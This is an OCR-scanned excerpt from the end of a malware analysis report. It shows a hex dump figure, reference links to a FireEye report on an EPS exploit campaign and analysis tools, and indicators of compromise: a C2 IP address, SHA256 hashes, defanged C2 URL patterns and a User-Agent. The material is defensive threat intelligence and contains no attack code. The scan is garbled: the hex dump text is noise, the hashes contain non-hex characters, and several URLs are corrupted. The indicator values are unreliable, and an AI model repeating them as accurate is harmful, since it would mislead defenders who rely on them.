O3FEOEDC |64 3E 0D 0A|3C &2 6F 64|79 3E 3C 65|34 3E C8 83 l:l::-.._-':'bCll:Iy:\-ﬁh4:\-E. f]4;’DDSC 0D3EENDEC
D3FEOEEC |CE 83 BC C5|A3 AA B8C 9A|8D 8C A3 AD|BA BZ A3 BB| 1. wdfe. .. .f.°=£y 04710090 || 03FEORZO
O3FEOEFC |9A BC 94 8B |90 3F 83 3C|2F &8 34 3E(3C 2F 62 6F|....... A:f'h4:\-ff'b0 ["4-_'J.DD94 00000000
O3FEOFOC | 64 79 3E 3C|2F 68 74 6D |6C 3E 00 00|E4 BS 18 67 |dy></htmli>..0u.g b innar Lna T EEan

Figure 80

FireEye report: https://www fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-

two.html

MSDN: https://docs.microsoft.com/en-us/windows/win32/api/

Fakenet: https://github.com/fireeye/flare-fakenet-ng

VirusTotal:
https://www.virustotal.com/gui/file/bed00a7b59ef2bd703098da6d523a498c8fda05dce9311028e8f1
61f434dc89e/detection

INDICATORS OF COMPROMISE

C2 IP address: 121.127.249.74

SHA256:

BEDOOA7BS5S9EF2BD703098DA6D523A498C8FDAOSDCE931F028E8F16FF434DC89E
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SHA256:
44DD6AT77TTF50E22EC295FEAE2DDEFFFF1849F8307F50DA4435584200A2BA6AF0

URLs: https[:]//121.127.249.74/cxpid/submit.php?SessionID=<decimal number>
https[:]//121.127.249.74/send .php?id=<decimal number>
https[:]//121.127.249.74/query.php 7id=<decimal number>

https[:]//121.127.249.74/cxgid/<Hostname>/<IP address in decimal>/<IP address in
decimal>0/index.php

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
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